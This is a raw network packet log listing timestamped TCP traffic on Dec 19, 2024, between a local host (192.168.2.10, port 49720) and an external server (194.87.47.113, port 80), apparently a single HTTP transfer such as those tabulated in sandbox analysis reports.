Dec 19, 2024 08:21:20.229103088 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.229285955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.229445934 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.230345964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.230443954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.230490923 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.231563091 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.231669903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.231713057 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.232795954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.232925892 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.232978106 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.234191895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.234270096 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.234303951 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.245711088 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.245835066 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.245876074 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.246292114 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.246383905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.246428013 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.247339964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.247538090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.247653008 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.248697996 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.248720884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.248780966 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.249820948 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.249902964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.249942064 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.250870943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.250894070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.250938892 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.251966000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.252100945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.252291918 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.253310919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.253369093 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.253412962 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.254429102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.254543066 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.254578114 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.255650997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.255789042 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.255827904 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.265940905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.265964031 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.266015053 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.266217947 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.266329050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.266371965 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.267462969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.267565966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.267606020 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.268692017 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.268799067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.268846989 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.269912004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.270040989 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.270081997 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.271131039 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.271238089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.271280050 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.272403002 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.272475958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.272516012 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.273557901 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.287610054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.287700891 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.287724972 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.288211107 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.288255930 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.288357019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.289578915 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.289668083 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.289932013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.290054083 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.290143013 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.291296005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.291436911 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.291485071 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.292749882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.292946100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.292994022 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.293994904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.294147015 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.294193983 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.294940948 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.295103073 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.295156956 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.295949936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.296046972 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.296153069 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.297317028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.297379017 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.297450066 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.298598051 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.298660040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.298707962 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.299673080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.299756050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.299796104 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.300841093 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.300932884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.300980091 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.302126884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.302228928 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.302265882 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.303349018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.303407907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.303457022 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.304505110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.304622889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.304666042 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.305917978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.306039095 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.306078911 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.307188034 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.307348967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.307384014 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.308439016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.308517933 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.308557034 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.309398890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.309504986 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.309544086 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.310609102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.310719013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.310770035 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.311845064 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.311952114 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.311997890 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.313060999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.313165903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.313211918 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.314301014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.314377069 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.314443111 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.315521002 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.315633059 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.315666914 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.316725969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.316838026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.316873074 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.318017960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.372735023 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.385230064 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.385258913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.385334015 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.385526896 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.385683060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.385719061 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.386715889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.386810064 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.386842012 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.388008118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.388124943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.388159990 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.389147043 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.389209986 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.389246941 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.421420097 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.421444893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.421513081 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.421884060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.421964884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.422007084 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.422888041 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.422965050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.423007011 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.423804998 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.423901081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.423940897 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.424771070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.424880028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.424921989 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.425848007 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.425961018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.426002979 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.427042961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.427082062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.427174091 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.437232018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.437342882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.437402964 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.437757969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.437880039 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.437918901 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.438862085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.438992977 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.439032078 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.439909935 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.440192938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.440232038 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.440274954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.441257000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.441297054 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.441333055 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.442291975 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.442363024 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.442378044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.443345070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.443388939 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.443543911 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.444591045 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.444638014 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.444856882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.445727110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.445769072 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.445895910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.447494030 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.447540045 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.447592020 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.458266973 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.458312988 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.458414078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.458771944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.458808899 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.458842993 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.460144997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.460184097 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.460191011 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.460927010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.460958958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.460963964 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.461991072 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.462048054 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.462219000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.463011026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.463048935 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.463067055 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.463952065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.463989973 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.464021921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.479923010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.479986906 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.480128050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.480350971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.480390072 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.480457067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.481461048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.481496096 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.481580019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.482466936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.482503891 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.482570887 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.483609915 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.483654976 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.483743906 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.484554052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.484595060 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.484674931 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.485647917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.485692024 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.485802889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.486824989 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.486885071 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.486900091 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.487917900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.487966061 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.487986088 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.488801003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.488848925 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.488935947 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.489856005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.489908934 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.489954948 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.490904093 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.490950108 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.491014957 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.492151022 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.492199898 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.492238045 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.493181944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.493228912 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.493310928 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.494117975 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.494158030 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.494168043 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.495091915 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.495157003 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.495187998 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.496166945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.496217966 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.496243954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.497217894 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.497296095 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.497354031 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.498265028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.498311996 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.498361111 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.499399900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.499449968 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.499572992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.500402927 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.500452995 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.500457048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.501429081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.501475096 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.501555920 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.502477884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.502521992 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.502569914 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.503545046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.503601074 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.503665924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.504584074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.504622936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.504637003 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.560234070 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.561806917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.561934948 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.561975002 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.562340021 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.562491894 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.562529087 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.563424110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.563541889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.563656092 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.564398050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.577368021 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.577425003 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.577481031 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.577893019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.577939034 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.577946901 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.578958988 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.579037905 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.579068899 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.579998970 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.580039978 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.611468077 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.611571074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.611643076 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.611901999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.612174988 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.612221956 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:20.612227917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.613200903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:20.613271952 CET	80	49720	194.87.47.113	192.168.2.10
